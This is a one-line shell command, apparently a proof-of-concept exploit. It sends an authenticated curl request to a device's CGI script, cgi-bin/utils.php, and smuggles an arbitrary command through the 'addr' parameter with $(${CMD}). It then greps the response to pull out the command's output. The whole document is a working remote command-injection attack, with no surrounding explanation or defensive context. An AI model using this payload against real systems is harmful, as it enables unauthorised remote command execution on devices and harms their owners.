curl -s "http://${IP}/cgi-bin/utils.php?cmd=addr_check&addr=1.3.3.7\$(${CMD})&type=port&port=80" -H "Authorization: Basic ${AUTH}" |grep -oP '1.3.3.7\K.*?(?=")'